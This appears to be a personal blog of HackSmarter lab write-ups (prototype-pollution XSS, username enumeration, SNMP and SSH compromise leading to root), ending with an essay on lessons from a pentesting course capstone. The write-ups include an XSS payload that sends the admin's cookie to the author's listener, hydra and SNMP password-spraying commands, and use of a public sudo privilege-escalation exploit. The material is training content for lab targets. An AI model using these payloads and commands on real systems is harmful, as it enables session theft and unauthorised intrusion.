HackSmarter Challenge Lab: Free Access - Polution (Easy)

• https://www.hacksmarter.org/courses/1de73367-b278-41ba-a63c-83c2d510621c
• We'll do our normal VPN thing. 
• Our challenge is: 
• The credentials below mirror a customer. Are you able to elevate your privileges and become an Administrator? 
• After getting nowhere with the browser on port 80/443 I ran NMAP\
• 

• Now we can go to http://x.x.x.x:3000 and log in with the provided credentials
• Don't forget to change the scope in Caido or BurpSuite 

• I can change my cookie from pentester to admin.  
• It reflects on the page but I am not really an admin. 
• There's webmail, and it goes to an admin 
•  let's see if we can make the admin reach out to us, let's start a listener
•  sudo nc -nvlp 80 (nothing exciting here , you don't need a screenshot
•  Then send this over to the admin :
•  
• He clicked on our link
•  
This is where I think we can try to steal his cookie, by calling /message?document.cookie or something like that. 
• I opened up my python http server because nc was disconnecting at every connect 
• http://10.200.78.16:8000/message?c=+document.cookie
• I don't get anything though, at least the cookie
•  This is where I cheated, I looked at some writeups, and realized that it's this thing called parameter pollution, long story short I don't know about this. 
• I am looking a bit more about it but it reminds me of PHP Filters. 

• http://10.1.26.5:3000/dashboard#__proto__.renderCallback=<img src=x onerror="alert(1);"/>

  •  This POC shows us that we have XSS with Paramater Pollution

    I wonder if we change the 1 to document.cookie 

   Look at that.  Let's combine that with our XSS that we send to our admin in webmail.
• We'll use this payload
• http://10.1.26.5:3000/dashboard#__proto__.renderCallback=<img src=x onerror="fetch('http://10.200.78.16:9000/?c='+document.cookie)">
• This is our response,  I used different ports not to contaminate my responses
•  
•  Now let's try and use that session in our browser, we are already authenticated as pentester, so we modify our current session in the console the browser

• document.cookie = "session=HS_ADMIN_7721_SECURE_AUTH_TOKEN; path=/";
  document.cookie = "user=admin; path=/";

•  Then we browse into the incident reponse page: 
•  
• What did I learn here, even though this is an EASY lab , it was not easy for me, more Pollution in prototypes for me 

HackSmarter Challenge Lab: Hunter (Easy)

• https://www.hacksmarter.org/courses/19723a54-6e4b-410e-b9e3-371f702e0f5c 
•  We'll do our normal things with VPN. 
• For this lab we are presented with a challenge:
• You need to identify which one is a valid username for the web application. 
• We are provided a list of possible names.  
•  
• There's a sign in page as well as a Forgot password page. 
• We don't get any discernible data when we try to log in or reset the password 
•  We use Caido's automate feature on the Forgot Password page
•  
• Here we see that the user Joey's round trip request took 1055ms , way over the ~300ms for the rest of the users. 
• We're in, that's the challenge.  
•  

HackSmarter Challenge Lab: SysAdmins (Medium) - SysAdminsSYSADM

•  - Connect to VPN
• ping X.X.XX
• 

• nmap -A X.X.X.X
•  

• Let's take a look at ftp on port 21 
• We found something on the FTP Server 
•  
• Let's read/cat it. 
•  Hi team,
  
  We are writing to inform you of a recent data breach that may have affected some of your information.
  
  Last week, a threat actor accessed our systems after compromising a vulnerable web application and exfiltrated some users' passwords, along with usernames and emails.
  
  We strongly recommend that you change your password as soon as possible if your details appear in the data leak published by the attacker at https[:]//pastebin[.]com/mqPMU1cF.
  
  We'll continue to share updates through this channel.
  
  Please do not hesitate to reach out to us if you have any questions.
  
  Our team is working around the clock to deal with this situation, and we really appreciate your patience and understanding.
  
  Kind regards,
  Peter
  Lead Sysadmin 
  
  

• We visit the PasteBin and we see a lot of credentials, this leads me to believe we can password spray after finding usernames.  
•  
• Let's visit Port 80 now
•  We see a nice page where we get some usernames :)
•  
• 

• Let's Password Spray
• We have 3 Users and A lot of passwords 
• hydra -l waserby -P passwords ssh://10.1.137.94
• hydra -l peter -P passwords ssh://10.1.137.94
• hydra -l helena -P passwords ssh://10.1.137.94
• I didn't get anywhere.
• Here I cheated and watch a video, Enumerate more things, UDP Ports. 
• We see SNMP is open.  
• Our online friend used LEGBA

• docker run \
    -v $(pwd):/data \ # shared the current directory as /data inside the container
    --network host \ # docker will use the same network of the host
    -it evilsocket/legba:latest \
    snmp --username waserby --password /data/your-wordlist.txt --target 192.168.1.1

• We are going to use SNMP 
• apt-get install snmp
• snmpwalk itself does not do password spraying , chatgpt to the rescue. 
•  I created this script : 
• https://github.com/TechTucson/Scripting/tree/master/HackSmarter/Challenge/SysAdmin 
• There's more that this needs but it's a start 
• Now we have a username and a password:
• waserby:butterfly 
•  Let's get everything we can from SNMP
• We'll use the same command:
• snmpwalk         -v3         -t 2         -r 1         -l authNoPriv         -u "waserby"         -a MD5         -A "butterfly"         "10.1.137.94"  > EXPORT
• we used the > thingy to send the output to  a file called EXPORT
• We can then cat EXPORT, but there's a lot of stuff in there. 
• let's cat EXPORT | grep password
• or grep ssh
• We get a different set of credentials 
• cat EXPORT | grep pass
  iso.3.6.1.2.1.25.4.2.1.5.930 = STRING: "-c sshpass -p 'PerfectIsTheEnemyOfDone223!' ssh helena@sysadmins; sleep 60" 
• We can then login to ssh
• we see our user flag
• Now it's been a while that i've done PrivEsc but I do remember LinPEas
• scp linpeas.sh helena@10.1.137.94:/home/helena/linpeas.sh
• chmod +x linpeas.sh
• ./linpeas.sh 
•  
• I immediately  focused on the yellow/red and I'll save you some time I did not have initial success
• 
•  I tried PeditCow, DirtyFrag, DirtyClone, I am pretty sure if I kept on trying I would have gotten it. 
• What I did miss was the first red output in LinPeas 
•  
• Look there's a CVE https://github.com/pr0v3rbs/CVE-2025-32463_chwoot
• git clone that sucker
• transfer the .sh file with scp 
• make it executable
• and execute it
•  You are now root
• cd /root
• cat root.txt 

Hacksmarter Web App Pentesting Capstone

HackSmarter Foundations of Web Application Pentesting Course – Lessons Learned from the Capstone

TLDR: Here is my PenTest Report: Report: https://drive.google.com/file/d/1Ig4kQsDekkCjbfiuPMuLvPEwpCuSFpGD/view?usp=sharing

Full Disclosure ChatGPT helped me write this article. 

When I enrolled in the HackSmarter Foundations of Web Application Pentestesting Course, I expected to learn new techniques for finding vulnerabilities in web applications. What I didn't expect was that the biggest lesson would come during the capstone assessment itself.

The HackSmarter course is designed to teach a structured methodology for performing web application penetration tests. Rather than focusing solely on individual vulnerabilities, it emphasizes understanding how a web application works, building a repeatable testing process, documenting findings, and producing a professional penetration test report. Those are the skills that separate simply finding bugs from conducting a real penetration test.

Going in Guns Blazing

When I started the capstone, I did exactly what I thought a penetration tester should do. I went in with guns blazing.

I immediately began attacking the application, testing inputs, fuzzing endpoints, and looking for vulnerabilities. I wasn't following any methodology or checklist. I was simply chasing findings wherever they appeared.

At first, this felt productive, but after spending more time with the application, I realized I had created my own problem. I had skipped the process that the course spent so much time teaching.

The Importance of Methodology

Eventually, I had to stop and revisit what I had learned throughout the course.

Instead of asking, "How can I break this?" I started asking better questions:

• What is this application supposed to do?
• Why does it work this way?
• How does each feature interact with the rest of the application?
• What assumptions is the developer making?

Taking the time to understand the application before aggressively testing it made a huge difference. A structured methodology isn't about slowing you down, it's about making sure you don't miss obvious attack paths while avoiding unnecessary rabbit holes.

Documentation Matters More Than You Think

One habit I have never really developed is taking detailed notes while I'm testing.

That became one of the biggest lessons of the capstone.

When it came time to write the penetration test report, I realized I hadn't documented enough of what I had already done. I had screenshots missing, request and response details scattered around, and steps that I remembered performing but hadn't recorded.

Instead of simply writing the report, I had to revisit much of the application and recreate portions of the testing just so I could properly document my findings.

It was a valuable reminder that good documentation isn't something you do after the engagement, it's part of the engagement itself.

Kairos Made Reporting Much Easier

One tool that made the reporting process significantly easier was Kairos, the reporting platform created by the same developer behind HackSmarter.

Being able to import vulnerabilities directly into the report generator saved a tremendous amount of time. Instead of repeatedly writing common vulnerability descriptions, impacts, and remediation guidance from scratch, I could reuse existing findings and tailor them to the engagement.

This allowed me to focus on explaining how the vulnerabilities applied to the target rather than spending time formatting the report.

One improvement I'll make on future engagements is adding findings to Kairos as I discover them, rather than waiting until testing has finished. Building the report alongside the assessment keeps everything organized and greatly reduces the amount of work required at the end.

Final Thoughts

The capstone reinforced that penetration testing is about much more than finding vulnerabilities. It's about following a repeatable methodology, understanding the application before attacking it, maintaining thorough documentation, and producing a report that clearly communicates your findings.

If I could offer one piece of advice to anyone taking the HackSmarter Web Application Pentest Course, it would be this:

Take your time.

Understand what the application does, why it exists, and how it works before trying to break it. Keep detailed notes throughout the assessment, document your findings as you discover them, and don't leave reporting until the very end.

The capstone taught me that technical ability is only one part of being a successful penetration tester. Methodology, discipline, and documentation are just as important, and those lessons will stay with me long after completing the course. 

Next on for me is the TCM Security Practical Web App Pentester Certification Exam.